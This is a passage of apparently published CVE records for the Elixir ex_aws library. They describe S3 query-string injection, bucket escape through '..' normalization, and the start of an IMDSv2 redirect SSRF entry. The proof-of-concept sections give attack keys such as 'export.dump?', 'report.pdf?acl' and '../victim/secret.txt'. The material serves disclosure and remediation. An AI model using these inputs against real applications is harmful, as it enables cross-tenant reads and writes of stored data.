request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.2 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Improper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).\n\nThis vulnerability is associated with program files `lib/ex_aws/request/url.ex` and program routines `ExAws.Request.Url.build/2`, `ExAws.Request.Url.sanitize/2` and `ExAws.Request.Url.get_path/2`.\n\nex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal `?` in an object key survives unencoded: `build/2` inserts the operation path verbatim and `URI.to_string/1` emits it without encoding, and `sanitize/2` then splits the flattened URL on the first `?`, treating everything after it as the query string. Because the split runs before `uri_encode` is applied to the path, the `?` is never neutralized, and the recovered query is re-inserted without any encoding.\n\nAn attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as `?acl`, `?tagging` or `?versions`) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.\n\nThis issue affects ex_aws: from 2.1.2 before 2.8.0."
}
],
"value": "Improper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).\n\nThis vulnerability is associated with program files lib/ex_aws/request/url.ex and program routines ExAws.Request.Url.build/2, ExAws.Request.Url.sanitize/2 and ExAws.Request.Url.get_path/2.\n\nex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal ? in an object key survives unencoded: build/2 inserts the operation path verbatim and URI.to_string/1 emits it without encoding, and sanitize/2 then splits the flattened URL on the first ?, treating everything after it as the query string. Because the split runs before uri_encode is applied to the path, the ? is never neutralized, and the recovered query is re-inserted without any encoding.\n\nAn attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as ?acl, ?tagging or ?versions) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.\n\nThis issue affects ex_aws: from 2.1.2 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-137",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-137 Parameter Injection"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 5.1,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-116",
"description": "CWE-116 Improper Encoding or Escaping of Output",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T11:40:27.176Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-96q9-mcc7-hqj8"
},
{
"name": "EEF CNA record for CVE-2026-62269",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-62269.html"
},
{
"name": "OSV record EEF-CVE-2026-62269",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-62269"
},
{
"name": "Introducing commit ecd51b1 in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/ecd51b1965909119ee597d6c0783334e30e59e58"
},
{
"name": "Fix commit 963fcc0 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/963fcc0948102608c6796959e7a0d84f37d84dce"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "S3 object key query-string injection and truncation via unencoded reserved characters in ex_aws",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eBefore constructing an S3 operation, percent-encode reserved characters in the object key (or reject keys that contain \u003ccode\u003e?\u003c/code\u003e or \u003ccode\u003e#\u003c/code\u003e) so that no reserved character reaches the URL builder unencoded.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Before constructing an S3 operation, percent-encode reserved characters in the object key (or reject keys that contain `?` or `#`) so that no reserved character reaches the URL builder unencoded."
}
],
"value": "Before constructing an S3 operation, percent-encode reserved characters in the object key (or reject keys that contain ? or #) so that no reserved character reaches the URL builder unencoded."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application lets users download text exports and builds the object key from a user-supplied filename, appending the extension itself: \u003ccode\u003ekey = filename \u0026lt;\u0026gt; \".txt\"\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eIt fetches the object through the public entry point: \u003ccode\u003eExAws.S3.get_object(bucket, key) |\u0026gt; ExAws.request(config)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eA benign filename \u003ccode\u003eexport\u003c/code\u003e yields the key \u003ccode\u003eexport.txt\u003c/code\u003e and the request \u003ccode\u003eGET /victim-bucket/export.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the filename \u003ccode\u003eexport.dump?\u003c/code\u003e, producing the key \u003ccode\u003eexport.dump?.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eex_aws sends \u003ccode\u003eGET /victim-bucket/export.dump\u003c/code\u003e with the query string \u003ccode\u003e.txt\u003c/code\u003e: the application\u0027s \u003ccode\u003e.txt\u003c/code\u003e suffix is moved into the query and dropped from the key.\u003c/li\u003e\n\u003cli\u003eS3 returns the bytes of \u003ccode\u003eexport.dump\u003c/code\u003e, an object of a different type the application never meant to expose.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application lets users download text exports and builds the object key from a user-supplied filename, appending the extension itself: `key = filename \u003c\u003e \".txt\"`.\n2. It fetches the object through the public entry point: `ExAws.S3.get_object(bucket, key) |\u003e ExAws.request(config)`.\n3. A benign filename `export` yields the key `export.txt` and the request `GET /victim-bucket/export.txt`.\n4. The attacker supplies the filename `export.dump?`, producing the key `export.dump?.txt`.\n5. ex_aws sends `GET /victim-bucket/export.dump` with the query string `.txt`: the application\u0027s `.txt` suffix is moved into the query and dropped from the key.\n6. S3 returns the bytes of `export.dump`, an object of a different type the application never meant to expose."
}
],
"value": "* An application lets users download text exports and builds the object key from a user-supplied filename, appending the extension itself: key = filename \u003c\u003e \".txt\".\n* It fetches the object through the public entry point: ExAws.S3.get_object(bucket, key) |\u003e ExAws.request(config).\n* A benign filename export yields the key export.txt and the request GET /victim-bucket/export.txt.\n* The attacker supplies the filename export.dump?, producing the key export.dump?.txt.\n* ex_aws sends GET /victim-bucket/export.dump with the query string .txt: the application\u0027s .txt suffix is moved into the query and dropped from the key.\n* S3 returns the bytes of export.dump, an object of a different type the application never meant to expose."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. URL assembly.\u003c/strong\u003e \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e inserts the operation path (bucket and object key) verbatim, and \u003ccode\u003eURI.to_string/1\u003c/code\u003e emits it without percent-encoding. A literal \u003ccode\u003e?\u003c/code\u003e in the object key passes straight into the flattened URL string.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Path/query split.\u003c/strong\u003e For S3, \u003ccode\u003esanitize/2\u003c/code\u003e recovers the path and query by splitting that string on the first \u003ccode\u003e?\u003c/code\u003e. \u003ccode\u003eget_path/2\u003c/code\u003e keeps only the portion before the \u003ccode\u003e?\u003c/code\u003e as the path and runs it through \u003ccode\u003euri_encode\u003c/code\u003e. Everything after the \u003ccode\u003e?\u003c/code\u003e becomes the query string and is re-inserted without any encoding.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signing and transmission.\u003c/strong\u003e Because the split happens before \u003ccode\u003euri_encode\u003c/code\u003e runs, the path encoder never sees the \u003ccode\u003e?\u003c/code\u003e. The resulting request is signed and sent as built:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ethe key \u003ccode\u003ereport.pdf?acl\u003c/code\u003e is sent as \u003ccode\u003eGET /report.pdf?acl\u003c/code\u003e, promoting \u003ccode\u003e?acl\u003c/code\u003e from key bytes into a live S3 sub-resource parameter;\u003c/li\u003e\n\u003cli\u003ethe key \u003ccode\u003esecret?\u0026lt;suffix\u0026gt;\u003c/code\u003e loses everything after the \u003ccode\u003e?\u003c/code\u003e (for example an application-appended \u003ccode\u003e.json\u003c/code\u003e extension), so the request addresses a different object than the one the caller constructed.\u003c/li\u003e\n\u003c/ul\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. URL assembly.** `ExAws.Request.Url.build/2` inserts the operation path (bucket and object key) verbatim, and `URI.to_string/1` emits it without percent-encoding. A literal `?` in the object key passes straight into the flattened URL string.\n\n**2. Path/query split.** For S3, `sanitize/2` recovers the path and query by splitting that string on the first `?`. `get_path/2` keeps only the portion before the `?` as the path and runs it through `uri_encode`. Everything after the `?` becomes the query string and is re-inserted without any encoding.\n\n**3. Signing and transmission.** Because the split happens before `uri_encode` runs, the path encoder never sees the `?`. The resulting request is signed and sent as built:\n\n- the key `report.pdf?acl` is sent as `GET /report.pdf?acl`, promoting `?acl` from key bytes into a live S3 sub-resource parameter;\n- the key `secret?\u003csuffix\u003e` loses everything after the `?` (for example an application-appended `.json` extension), so the request addresses a different object than the one the caller constructed."
}
],
"value": "1. URL assembly. ExAws.Request.Url.build/2 inserts the operation path (bucket and object key) verbatim, and URI.to_string/1 emits it without percent-encoding. A literal ? in the object key passes straight into the flattened URL string.\n\n2. Path/query split. For S3, sanitize/2 recovers the path and query by splitting that string on the first ?. get_path/2 keeps only the portion before the ? as the path and runs it through uri_encode. Everything after the ? becomes the query string and is re-inserted without any encoding.\n\n3. Signing and transmission. Because the split happens before uri_encode runs, the path encoder never sees the ?. The resulting request is signed and sent as built:\n\n* the key report.pdf?acl is sent as GET /report.pdf?acl, promoting ?acl from key bytes into a live S3 sub-resource parameter;\n* the key secret?\u003csuffix\u003e loses everything after the ? (for example an application-appended .json extension), so the request addresses a different object than the one the caller constructed."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-62269",
"datePublished": "2026-11-24T11:40:27.176Z",
"dateReserved": "2026-07-13T18:06:12.918Z",
"dateUpdated": "2026-11-24T11:40:27.176Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-59698 (GCVE-0-2026-59698)
Vulnerability from nvd – Published: 2026-11-24 11:45 – Updated: 2026-11-24 11:45
VLAI
EPSS
VEX
Title
ex_aws normalizes .. in S3 object keys client-side, allowing bucket or key-prefix escape
Summary
Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.
When ex_aws builds a path-style S3 request, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex joins the bucket name and the object key into a single path string and then normalizes it, collapsing . and .. segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading ../ in the object key pops the bucket off the path. With bucket mybucket and a key of ../victim/secret.txt, the combined /mybucket/../victim/secret.txt normalizes to /victim/secret.txt, so the request (signed with the application's own credentials) is sent to bucket victim. The same mechanism collapses ../ within a key, defeating any isolation an application enforces by prepending a trusted prefix.
Only the default path-style configuration is affected; requests built with virtual_host: true do not run this normalization. Because S3 treats object keys as opaque and does not resolve .. itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials' permissions.
This issue affects ex_aws: from 2.1.7 before 2.8.0.
Severity
CWE
- CWE-23 - Relative Path Traversal
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-59698.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-59698 | related |
| https://github.com/ex-aws/ex_aws/commit/557d3438a… | related |
| https://github.com/ex-aws/ex_aws/commit/b1116f9f9… | patch |
Impacted products
Date Public
2026-11-24 11:45
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.1.7",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "b1116f9f92a8ec1f7f2f3f692bd1c5cacaddf6fd",
"status": "affected",
"version": "557d3438a7e739a25c1ccc1876a5b636793f20ba",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with \u003ccode\u003evirtual_host: true\u003c/code\u003e build the request without this client-side normalization and are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with `virtual_host: true` build the request without this client-side normalization and are not affected."
}
],
"value": "The vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with virtual_host: true build the request without this client-side normalization and are not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.1.7",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T11:45:29.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eRelative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\u003c/p\u003e\n\u003cp\u003eWhen ex_aws builds a path-style S3 request, \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/operation/s3.ex\u003c/code\u003e joins the bucket name and the object key into a single path string and then normalizes it, collapsing \u003ccode\u003e.\u003c/code\u003e and \u003ccode\u003e..\u003c/code\u003e segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading \u003ccode\u003e../\u003c/code\u003e in the object key pops the bucket off the path. With bucket \u003ccode\u003emybucket\u003c/code\u003e and a key of \u003ccode\u003e../victim/secret.txt\u003c/code\u003e, the combined \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e normalizes to \u003ccode\u003e/victim/secret.txt\u003c/code\u003e, so the request (signed with the application\u0027s own credentials) is sent to bucket \u003ccode\u003evictim\u003c/code\u003e. The same mechanism collapses \u003ccode\u003e../\u003c/code\u003e within a key, defeating any isolation an application enforces by prepending a trusted prefix.\u003c/p\u003e\n\u003cp\u003eOnly the default path-style configuration is affected; requests built with \u003ccode\u003evirtual_host: true\u003c/code\u003e do not run this normalization. Because S3 treats object keys as opaque and does not resolve \u003ccode\u003e..\u003c/code\u003e itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.7 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\n\nWhen ex_aws builds a path-style S3 request, `ExAws.Operation.S3.add_bucket_to_path/2` in `lib/ex_aws/operation/s3.ex` joins the bucket name and the object key into a single path string and then normalizes it, collapsing `.` and `..` segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading `../` in the object key pops the bucket off the path. With bucket `mybucket` and a key of `../victim/secret.txt`, the combined `/mybucket/../victim/secret.txt` normalizes to `/victim/secret.txt`, so the request (signed with the application\u0027s own credentials) is sent to bucket `victim`. The same mechanism collapses `../` within a key, defeating any isolation an application enforces by prepending a trusted prefix.\n\nOnly the default path-style configuration is affected; requests built with `virtual_host: true` do not run this normalization. Because S3 treats object keys as opaque and does not resolve `..` itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"value": "Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\n\nWhen ex_aws builds a path-style S3 request, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex joins the bucket name and the object key into a single path string and then normalizes it, collapsing . and .. segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading ../ in the object key pops the bucket off the path. With bucket mybucket and a key of ../victim/secret.txt, the combined /mybucket/../victim/secret.txt normalizes to /victim/secret.txt, so the request (signed with the application\u0027s own credentials) is sent to bucket victim. The same mechanism collapses ../ within a key, defeating any isolation an application enforces by prepending a trusted prefix.\n\nOnly the default path-style configuration is affected; requests built with virtual_host: true do not run this normalization. Because S3 treats object keys as opaque and does not resolve .. itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-139",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-139 Relative Path Traversal"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-23",
"description": "CWE-23 Relative Path Traversal",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T11:45:30.199Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-hrw3-2h5r-fhxx"
},
{
"name": "EEF CNA record for CVE-2026-59698",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-59698.html"
},
{
"name": "OSV record EEF-CVE-2026-59698",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-59698"
},
{
"name": "Introducing commit 557d343 in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/557d3438a7e739a25c1ccc1876a5b636793f20ba"
},
{
"name": "Fix commit b1116f9 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/b1116f9f92a8ec1f7f2f3f692bd1c5cacaddf6fd"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "ex_aws normalizes .. in S3 object keys client-side, allowing bucket or key-prefix escape",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eConfigure the ex_aws S3 client with \u003ccode\u003evirtual_host: true\u003c/code\u003e, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain \u003ccode\u003e..\u003c/code\u003e segments before passing them to ex_aws.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Configure the ex_aws S3 client with `virtual_host: true`, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain `..` segments before passing them to ex_aws."
}
],
"value": "Configure the ex_aws S3 client with virtual_host: true, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain .. segments before passing them to ex_aws."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application isolates data in its own bucket \u003ccode\u003emybucket\u003c/code\u003e and builds the object key from user input, using the default path-style S3 configuration.\u003c/li\u003e\n\u003cli\u003eIt issues the request through the public API: \u003ccode\u003eExAws.S3.get_object(\"mybucket\", key) |\u0026gt; ExAws.request(config)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the key \u003ccode\u003e../victim/secret.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eex_aws joins and normalizes the path, so \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e becomes \u003ccode\u003e/victim/secret.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe request is signed with the application\u0027s credentials and sent to \u003ccode\u003e/victim/secret.txt\u003c/code\u003e, addressing bucket \u003ccode\u003evictim\u003c/code\u003e instead of \u003ccode\u003emybucket\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application isolates data in its own bucket `mybucket` and builds the object key from user input, using the default path-style S3 configuration.\n2. It issues the request through the public API: `ExAws.S3.get_object(\"mybucket\", key) |\u003e ExAws.request(config)`.\n3. The attacker supplies the key `../victim/secret.txt`.\n4. ex_aws joins and normalizes the path, so `/mybucket/../victim/secret.txt` becomes `/victim/secret.txt`.\n5. The request is signed with the application\u0027s credentials and sent to `/victim/secret.txt`, addressing bucket `victim` instead of `mybucket`."
}
],
"value": "* An application isolates data in its own bucket mybucket and builds the object key from user input, using the default path-style S3 configuration.\n* It issues the request through the public API: ExAws.S3.get_object(\"mybucket\", key) |\u003e ExAws.request(config).\n* The attacker supplies the key ../victim/secret.txt.\n* ex_aws joins and normalizes the path, so /mybucket/../victim/secret.txt becomes /victim/secret.txt.\n* The request is signed with the application\u0027s credentials and sent to /victim/secret.txt, addressing bucket victim instead of mybucket."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Path assembly.\u003c/strong\u003e In the default path-style clause of \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e (taken whenever \u003ccode\u003evirtual_host: true\u003c/code\u003e is not set), the bucket and the operation path are concatenated and then normalized: \u003ccode\u003e\"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u0026gt; expand_dot()\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Normalization across the bucket boundary.\u003c/strong\u003e \u003ccode\u003eexpand_dot/1\u003c/code\u003e and \u003ccode\u003edo_expand_dot/2\u003c/code\u003e resolve \u003ccode\u003e.\u003c/code\u003e and \u003ccode\u003e..\u003c/code\u003e segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a \u003ccode\u003e..\u003c/code\u003e in the object key pops it: \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e becomes \u003ccode\u003e/victim/secret.txt\u003c/code\u003e. The only guard, the root clamp \u003ccode\u003edo_expand_dot([\"..\" | t], [])\u003c/code\u003e, stops \u003ccode\u003e..\u003c/code\u003e from climbing above \u003ccode\u003e/\u003c/code\u003e but does not protect the bucket segment. The same collapse lets \u003ccode\u003e../\u003c/code\u003e escape a trusted key prefix within a bucket.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signed request.\u003c/strong\u003e The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve \u003ccode\u003e..\u003c/code\u003e itself; the traversal exists only because the client normalizes the path. The \u003ccode\u003evirtual_host\u003c/code\u003e clauses do not normalize, so behavior differs between configurations.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Path assembly.** In the default path-style clause of `ExAws.Operation.S3.add_bucket_to_path/2` (taken whenever `virtual_host: true` is not set), the bucket and the operation path are concatenated and then normalized: `\"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u003e expand_dot()`.\n\n**2. Normalization across the bucket boundary.** `expand_dot/1` and `do_expand_dot/2` resolve `.` and `..` segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a `..` in the object key pops it: `/mybucket/../victim/secret.txt` becomes `/victim/secret.txt`. The only guard, the root clamp `do_expand_dot([\"..\" | t], [])`, stops `..` from climbing above `/` but does not protect the bucket segment. The same collapse lets `../` escape a trusted key prefix within a bucket.\n\n**3. Signed request.** The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve `..` itself; the traversal exists only because the client normalizes the path. The `virtual_host` clauses do not normalize, so behavior differs between configurations."
}
],
"value": "1. Path assembly. In the default path-style clause of ExAws.Operation.S3.add_bucket_to_path/2 (taken whenever virtual_host: true is not set), the bucket and the operation path are concatenated and then normalized: \"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u003e expand_dot().\n\n2. Normalization across the bucket boundary. expand_dot/1 and do_expand_dot/2 resolve . and .. segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a .. in the object key pops it: /mybucket/../victim/secret.txt becomes /victim/secret.txt. The only guard, the root clamp do_expand_dot([\"..\" | t], []), stops .. from climbing above / but does not protect the bucket segment. The same collapse lets ../ escape a trusted key prefix within a bucket.\n\n3. Signed request. The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve .. itself; the traversal exists only because the client normalizes the path. The virtual_host clauses do not normalize, so behavior differs between configurations."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-59698",
"datePublished": "2026-11-24T11:45:30.199Z",
"dateReserved": "2026-07-06T14:05:47.003Z",
"dateUpdated": "2026-11-24T11:45:30.199Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-59697 (GCVE-0-2026-59697)
Vulnerability from nvd – Published: 2026-11-24 11:43 – Updated: 2026-11-24 11:43
VLAI
EPSS
VEX
Title
IMDSv2 metadata token request follows HTTP redirects in ex_aws
Summary
Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).
